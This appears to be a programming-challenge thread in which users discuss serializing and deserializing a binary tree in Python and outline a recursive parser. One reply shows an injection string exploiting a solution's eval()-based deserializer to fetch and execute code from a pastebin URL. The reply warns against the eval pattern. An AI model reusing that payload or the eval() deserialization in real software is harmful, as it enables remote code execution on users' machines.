#toyprogrammingchallenge
#python Here's another freebie, I assume it is python specific because they start with a base of python code. But if it makes sense, try it in whatever language you like:
This problem was asked by Google.
Given the root to a binary tree, implement serialize(root), which serializes the tree into a string, and deserialize(s), which deserializes the string back into the tree.
For example, given the following Node class
class Node:
def __init__(self, val, left=None, right=None):
self.val = val
self.left = left
self.right = right
The following test should pass:
node = Node('root', Node('left', Node('left.left')), Node('right'))
assert deserialize(serialize(node)).left.left.val == 'left.left'
Here's a python solution
Need a better solution for deserialization than eval()
Unsafe code behaviour
@Absinthe Your implementation of serialize() can't handle nodes whose names contain quote marks. Ordinarily this would only cause it to output strings that deserialize() can't understand, but, since your implementation of deserialize() eval()s its argument, it's possible to execute arbitrary code on any machine attempting to deserialize(serialize()). For example:
node = Node("' + str(exec('import urllib.request; exec(urllib.request.urlopen(\\\'https://pastebin.com/raw/Tuh7jNbc\\\').read())')) + '")
deserialize(serialize(node));
Unsafe code behaviour
@khird kind of figured there were good reasons not to use eval, but what is an appropriate alternative?
@Absinthe I have hardly any experience with Python but I think you ought to write your own parser that reports an error on input that can't represent an actual tree (this is what I did in my solution, anyway). The other issue is making sure you escape any special characters in Node.val so your parser doesn't treat them as control characters.
#toyprogrammingchallenge
#Python @billstclair @namark @khird
I think there should be a nice recursive way to deserialize it similar to the way it gets serialized. I am thinking some way to have a deserializer that returns a Node from a string, but I need to do something like Node(value from serialized string), deserialize(for the left node), deserialize(for the right node)) ...
I don't know how to partially consume the string to get the left node, and then take up where it left off for the right node. I was thinking maybe using an index but that would have to be similar to a C static variable. or globalized somehow so that it maintained state. I am missing a python paradigm somewhere. :)
@Absinthe @billstclair @namark
I don't think you need any global variables.
Your input string looks something like Node('foo',None,Node('bar',None,None)) based on the ouput of your version of serialize(), right? So you can parse it recursively. The general algorithm could be something like:
1. Check that the string begins with 'Node('.
2. Find the first comma. Everything between 'Node(' until this point is self.val.
3. If the next four characters after the comma are 'None' self.left is None.
4. If self.left is not None, examine the string starting after the comma.
a. Set the nesting level to zero.
b. For every open-paren increment the nesting level by one.
c. For every close-paren decrement the nesting level by one.
d. When you find a comma AND the nesting level is zero, stop.
5. Recursively call deserialize() on everything between the comma you found in step 2 and the comma you found in step 4d. Save the answer as self.left.
6. If the next four characters after the comma are 'None' self.right is None.
7. If self.right is not None, examine the string starting after the comma.
a. Set the nesting level to zero.
b. For every open-paren increment the nesting level by one.
c. For every close-paren decrement the nesting level by one.
d. When you find a close-paren AND the nesting level is zero, stop.
8. Recursively call deserialize() on everything between the comma you found in step 4d and the close-paren you found in step 7d. Save the answer as self.right.
